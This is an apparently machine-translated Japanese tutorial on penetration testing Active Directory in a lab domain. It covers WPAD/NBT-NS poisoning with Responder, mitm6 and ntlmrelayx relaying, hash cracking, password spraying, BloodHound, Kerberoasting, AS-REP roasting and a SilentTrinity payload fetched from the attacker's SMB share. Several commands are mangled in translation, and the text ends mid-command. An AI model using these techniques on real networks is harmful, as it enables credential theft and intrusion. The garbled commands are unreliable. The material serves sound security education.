0x01はじめに
浸透テストの前にいくつかのクライアントが私にやって来て、彼らの脆弱性スキャンが深刻な脆弱性を示さず、セキュリティテストの準備ができていないため、彼らのシステムは非常に良いセキュリティの仕事をしていると言っています。
侵入テストの分野で私が見た教育の欠陥の1つは、現在侵入アクティブディレクトリ(AD)に関与している知識の欠如です。残念ながら、OSCPは広告テストをカバーしておらず、Sans-Gpenコースでさえめったにそれを伴うことはありません。この記事の目標は、過去のADのセキュリティテストで使用したテクニック、ツール、および方法のいくつかを紹介することです。これは、各方法またはツールに関する包括的なマニュアルではありません。このシリーズでは、Kali Linux 2019を使用し、仮想マシンを介して自分の仮想ドメインで動作します。
まず、目標を説明することから始めましょう。浸透テストの目標は、攻撃者がネットワークを破壊するために使用する可能性のある攻撃ベクトルを特定することです。ドメイン管理者の権限用ではありません。
目標が得られたので、それを達成するためにいくつかの手順に従います。以下は、テストセッションの(ラフ)イラストガイドです。
概要:クライアントがあなたを雇って、Active Directoryを使用するネットワーク上で浸透テストを実行します。関連情報は提供されておらず、ログイン資格情報も攻撃範囲も、クライアント企業の正面玄関に入る資格もありませんが、裏口から入ってIP電話付きの隠れた部屋を見つけることができます。 IP電話のプラグを抜き、ラップトップに接続して、カスタマーサービス会社と同じLANにいることがわかります。次は何ですか?足場を獲得する許可を取得します。
0x02フェーズ1:許可の足場の取得
信託証明書なしで、私たちができる偵察の数は制限されており、サイクル全体のほぼすべてのステップを行いますが、ネットワークに基づいてすぐに対策を講じることができます。まず、ネットワークアクセスがあるため、ifconfigまたはipconfig経由でサブネットを確認してください。 IPを取得した後、NMAPでpingスキャンを実行して、他のデバイスがアクセス可能かどうかを確認します。
NMAP -SN 192.168.1.1/24
ディスプレイPingが戻ってきた場合、ネットワークデバイスをネットワークに接続できます。何も得られない場合、ICMPが無効になっている可能性があります。ネットワーク上に他のデバイスはありません。または、認証されていないため、他のデバイスと通信できず、Cisco ISEなどのアイデンティティセキュリティソリューションによってブロックされる可能性があります。この記事の目的のために、一部のデバイスネットワークに接続されており、それらを正常にpingすることができると想定されています。
1.レスポンダー
次に、Responderと呼ばれるツールを使用するか、Windowsを好む場合はInveighを使用します。これらの2つのツールの役割は、ADにおける非常に一般的な誤った不明瞭さの能力をチェックし、WPADおよびNBT-NS中毒をもたらすことです。デフォルトでは、Windowsは、インターネットを使用するときにファイルを自動的に発見するようにWebプロキシを検索するように構成されています。これは、デバイスがブロードキャストリクエストプロキシファイルを送信し、プロキシファイルを受信するため、組織で役立ちます。ただし、当然、プロキシファイルを送信した人を確認しないため、攻撃者はスプーフィングされた回答を送信してから資格情報を要求できます。
次に、Responderと呼ばれるツールを使用するか、WindowsとInveighを好む場合は使用します。これらの2つのツールの役割は、ADの一般的な誤った採掘をチェックし、WPADおよびNBT-NS中毒をもたらすことです。場合によっては、WindowsがWebプロキシを検索するように構成されており、インターネットを使用するときにファイルを自動的に検出します。これは、デバイスがブロードキャストリクエストプロキシファイルを送信し、プロキシファイルを受信するため、エンタープライズ組織で役立ちます。ただし、当然、プロキシファイルを送信した人に認証されておらず、攻撃者がスプーフィングされた回答を送信してから資格情報を要求することができます。
カリでは、レスポンダーのデフォルトインストール
Responder -I ETH0 -WPAD
Windows 7コンピューターでは、インターネットエクスプローラーを開いてGoogleに行き、WPADファイルの検索を開始します。レスポンダーでは、リクエストパスが表示され、レスポンダーがチャレンジでリクエストに自動的に応答します。これにより、被害者はユーザー名とハッシュパスワードを送信します(ntlmv2形式)
このハッシュテーブルで、私たちは何かをすることができます。リレーにntlmrelay.pyのようなツールを使用しようとすることもできます。この投稿で、NTLMハッシュを転送する方法を説明したので、それをクラックする方法を説明します。これは通常、計画するときに私がすることだからです。
正直に言うと、Linux/Kaliでパスワードをクラックすることはめったにありません。 Kaliに適切にインストールされたことがないNVIDIA GPUグラフィックスカードを使用しています。WindowsにはHashcatguiがあります。これにより、簡単に使用できます。収集されたハッシュ値を「hash.txt」というファイルに保存し、いくつかの簡単なルールと入力設定と出力設定を実行しますが、この記事では辞書Rockyou.txtを使用して実行し、1秒でハッシュ値を正常に割れました。
Hashcatguiの私の設定
パスワードを正常にクラックしたので、Alice:Passwordのログイン資格情報があります!
継続する前に、レスポンダープログラムが機能しない場合に備えて、他の方法をいくつか見せたいと思います。
2.mitm6
クライアントのネットワークが正当なWPAD PACファイルを使用しており、スプーフィングが適切に機能していないと仮定します。 IPv6とDNSを使用して、資格情報をターゲットに中継する別の手法があります。デフォルトでは、IPv6が有効になり、実際にIPv4よりも優先されます。つまり、コンピューターにIPv6 DNSサーバーがある場合、IPv4を使用します。さらに、デフォルトでは、WindowsコンピューターはDHCPV6要求を介してIPv6 DNSサーバーを検索します。偽のIPv6 DNSサーバーを使用してスプーフィングすると、デバイスがDNSをクエリする方法を効果的に制御できます。ここでより多くのコンテンツを読むことができます。
まず、MITM6をダウンロードします
git clone https://github.com/fox-it/mitm6.git
CD MITM6
ピップインストール。
次に、ターゲットネットワークワークグループに対して実行します。以前にpingスキャンを行ったことがあるため、ターゲットドメインがlab.localであることを示すnetbios名も取得しました。
MITM6を実行する前のターゲットのIP設定は次のとおりです。
DNSサーバーに注意してください
次に、MITM6を実行します
mitm6 -d lab.local
これで、ターゲット上のDNSサーバーが変更されました
IPv6アドレスはDNSサーバーとして使用されることに注意してください
現在の真の脆弱性は、WindowsでのIPv6攻撃がIPv4よりも優れていることです。つまり、DNSは現在制御されています。
したがって、DNSを制御するためにNTLMRELAYX.PYによって再びWPAD応答を再び吹き飛ばすという事実を利用してください。ここでは、セットアップ方法に関するガイドを書きました。
MITM6を1つのウィンドウで実行するときは、別のウィンドウを開き、ntlmrelayx.pyを実行します
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/-i
-WH:サーバーホスティングWPADファイル(攻撃者のIP)
-T:ターゲット(スプーフィングしている同じデバイスに資格情報を中継することはできません)
-I:インタラクティブなシェルを開きます
ここから、完全にインタラクティブなSMBシェルを持っているかのように、Netcatを介してシェルに接続するか、-C(コマンド)を介して帝国のステーガーを送信することができます。実際、あなたの選択はNTLMRELAYX.PYができることに限定されています。この場合、-Cコマンドを使用して、Silent Trinity有効なペイロードを実行します。 Silent Trinityの使用方法についてここに書きました。
ntlmrelayx.py -WH 192.168.218.129 -T SMB: //192.168.218.50/-NO -SMB -SERVER -C 'c: \ windows \ microsoft.net \ framework64 \ v3.5 \ msbuild.exe \\ 192.168.218.129 \ smb \ msbuild.xml'
ただし、この場合、MSBUILD.EXEはこの場合にXMLファイルを構築しておらず、Silent Trinityへの接続も返されません。これは簡単すぎるためです。代わりに、SMBサーバーを見て、リレーハッシュを表示します
それから私はそれをうまくクラックしました
これで、レスポンダーを使用せずにネットワーク資格情報を正常に持っています
3.CrackMapexec
CrackMapexecは、本質的にスイスアーミーナイフです。パスワードスプレーとハッシュからコマンドの実行まで、すべての浸透テストキットで使用する必要があります
他のすべてが失敗した場合は、パスワードスプレーを試すことができます。この方法が最後の方法である理由は、パスワードがロックされているためです。パスワードのロックは、あなたが思うほど一般的ではないため、攻撃者は辞書を使用してユーザー名を攻撃できます。ユーザー名を取得することは最初のステップです。これは、OSINTおよび情報コレクターを使用して実行できます。 OSINTのユーザー名がない場合は、CrackMapexec(CME)にユーザー名の辞書を与えることもできますが、時間の理由で、rsmithのユーザー名が存在すると仮定します。
Kaliの新しいバージョンを使用している場合、CrackMapexecはデフォルトでインストールされますが、そうでない場合はインストールできます
apt-get crackmapexecをインストールします
スキャン内のネットワーク上のデバイスを識別するため、ユーザー名とペアになったパスワード辞書をCMEに提供し、ログインしようとすることができます。
CrackMapexec SMB 192.168.218.40 -D Lab.Local -U rsmith -P〜/documents/wordlists/fastTrack.txt -Shares
数秒でパスワードが取得されます。
これはCTF-Yのように見えるかもしれませんが、シーズン:歳は非常に人気のある暗号の組み合わせです。
これらの見つかった資格情報を使用すると、通常のユーザーアカウントがあり、以下の許可を増やし続けています
上記では、3つの異なる方法でドメインの資格情報を取得しました。この記事のほとんどについては、許可が低レベルであるため、Rsmithユーザー資格情報を使用します。これにより、許可エスカレーションが可能になります。
もちろん、Windowsでの許可エスカレーションは、見積もりのないパッチやサービスパスシステムの欠落から生じる可能性がありますが、これは広告のテストであるため、いくつかの広告コンテンツを利用してアクセス許可をエスカレーションします。
ネットワーク資格情報を使用すると、最初に情報収集を行い、次にパッチの脆弱性を直接表示する必要があります。私たちに役立ついくつかのツールとテクニックがあります。
0x03ステージ2:特権の標高と情報収集
1.Bloodhound
私のお気に入りのツールの1つはBloodhoundです。グラフィカルに表示されているBloodhoundは、グラフ内のドメインを文字通りマッピングし、関連する関係と無関係の関係を明らかにしているため、素晴らしいツールです。攻撃者の視点から、これは私たちにターゲットを示しているので興味深いです。
ここで読むことができるBloodHoundに関する記事全体を書きましたが、TLを示します。DRバージョン
コンピューターでセッションを取得していないが、資格情報があるとします。 BloodhoundのPythonを使用して、リモートでデータを収集できます。 Gitを介してインストールできます
git clone https://github.com/fox-it/bloodhound.py.git
CD Bloodhound.py/pipインストール
その後、資格情報、ドメイン、およびDC IPSを通過することで実行できます
Bloodhound -Python -D Lab.Local -U RSMITH -P WINTER2017 -GC LAB2008DC01.LAB.LOCAL -C ALL
BHがタスクを完了すると、データを.json形式で実行しているディレクトリに保存します。これらのファイルをコピーしてブラッドハウンドにドラッグすると、素敵なWebマップができました。 「ドメイン管理のための最短パス」で並べ替えると、以下のものに似たものが得られます。
GumminaliceはDCにログインします
これの利点は、管理者がログインしているコンピューターを直接表示して、次の目標を提供できることです。低主権の資格情報を受け入れる数百または数千のコンピューターがあるドメインでは、他の低プリビレジの資格情報を収集するだけで時間を無駄にしたくありません。これにより、ターゲットのリストと他の多くのものが提供されます。その他の用途には、資格情報を含むデータベースがあるSQLサーバーの識別、RDPに接続できるマシンの識別などがあります。ここで詳細な機能を掘り下げることをお勧めします。また、Bloodhoundが描いた攻撃計画を自動的に活用するGoFetcをご覧ください。
2. KERBEROSTING | getuserspns.py
ターゲットリストとドメインコントローラーを識別することにより、アクセス許可をアップグレードする1つの方法はKerberoAstingです。サービスプリンシパル名(SPN)がADのサービスアカウントに発行されるため、Kerberostingを実行できます。その後、すべてのユーザーは、そのアカウントのハッシュパスワードを使用してSPNからKerberosチケットを要求できます(Kerberos 5 TGS-REP形式)。 Kerberostingにはさまざまなツールがありますが、実際には1つのツールだけが必要です。
getUserSpns.pyは非常にシンプルです - ターゲットドメインのユーザーアカウントの下で実行されているSPNを照会します。とても使いやすいです。
これで、サービスアカウントにハッシュ値があります。以下に示すように、ハッシュカット(もちろんGUI)にロードし、選択したハッシュタイプ13100を選択しました
数秒で正常に爆発します
現在、サービスアカウントの資格情報があります。これは通常、ドメインコントローラーへのアクセスが成功します。簡単すぎますか?他の方法を試してみましょう。
3. aseproasting |ルベウス
aseproastingはKerberostingに似ています。この意味で、アカウントのTGTを照会し、ハッシュを取得してからクラックしますが、Aseproastingの場合には非常に大きな警告があります。 Kerberos as-reqメッセージを介してTGTを要求すると、ユーザー名とパスワードで暗号化されたタイムスタンプも提供します。次に、キーディストリビューセンター(KDC)はタイムスタンプを復号化し、そのユーザーからのリクエストを検証し、認証プロセスを進みます。これは、Kerberosの認証前のプロセスであり、これは明らかに攻撃者の問題です。なぜなら、私たちはKDCではなく、メッセージを解読できないからです。もちろん、これは攻撃を防ぐように設計されていますが、事前認証がオフになった場合は、任意のユーザーにAS-REQを送信でき、ハッシュパスワードを返します。これはまれですが、事前認証がデフォルトで有効になっているため、まだ言及する価値があります。
「Kerberosの事前認証は必要ない」ため、TsmithはasReproastingの影響を受けやすい」
これを活用するために、Rubeusと呼ばれるツールを使用します。ルベウスは、Kerberosを乱用する大きなツールセットですが、アスレプロストの場合、私たちはこの部分に関心があります。 Rubeusを使用するには、まずVisual Studioをインストールする必要があります。インストールが完了したら、Rubeusをダウンロードし、Visual Studioを使用してRubeus.slnファイルを開きます。
デフォルトでは、rubes \ bin \ debug \ fileにインストールされます。 CDはそのディレクトリに入り、それを実行します:
。\ rubeus.exe asreproast
ユーザーが「Kerberosの事前認証が必要でない」をチェックしない場合、ユーザーは認証されません。しかし、ある場合.
その後、ユーザーのハッシュを取得してクラックできます。
この例はドメイン結合マシンで行われているため、ドメインにないマシンからこれを行っている場合は、ドメインコントローラー、ドメイン名、OUなどに接続する必要があります。
4.silenttrinity
SilentTrinityは、IronpythonとC#を使用する @byt3bl33d3rによって開発された新しいコマンドおよびコントロール(C2)ツールです。 MSBUILD.EXEを使用するオプションがあります。C#コード(デフォルトではデフォルトで.NETの一部としてWindows 10にインストールされている)を構築するWindowsバイナリ、コマンドとコントロール(C2)のペイロードをXML形式で実行し、攻撃者が基礎となる.NETフレームワークを使用して、Ironpython、C#およびその他の言語を介して犠牲者のホストを操作できるようにします。
個人的に、Silent -Trinityは私のツールボックスで帝国に取って代わり、私はここに帝国の使用方法に関するガイドを書きました。私は帝国のつながりを好む場所がいくつかありますが、STは「アルファ」状態にあるため、この機能もSTに反映されます。私の意見では、STが帝国に取って代わる主な理由が3つあります。
Empireのペイロードは、難読化においてさえ、Windowsのディフェンダーによってキャプチャされています(それを解決する方法はたくさんありますが、それでも)。
STはコマンドの下で実行されます
–AT execパラメーターを使用してCMEでペイロードを実行する場合、システム許可にアクセス許可をアップグレードできます
これは、非ドメイン管理者ユーザー資格情報を使用した新しいWindows10インストールのPOCです
アカウント「Tsmith」は、ユーザーグループのみにあります
Tsmithの資格情報を使用してコードを実行します
SilentTrinityでXMLペイロードを生成し、SmbServer.py経由でSMBサーバーでホストします。それを行う方法について混乱している場合は、私のガイドに従ってください。次に、CMEを使用して、攻撃者のマシンでXMLファイルを取得するコマンドを実行します。
SilenttrinityでXMLペイロードを生成し、SMB Server.pyを介してSMBサーバーでホストします。それを行う方法について混乱している場合は、私の指示に従ってください。次に、CMEを使用して、攻撃者のマシンでXMLファイルを取得するコマンドを実行します。
CrackMapexec 192.168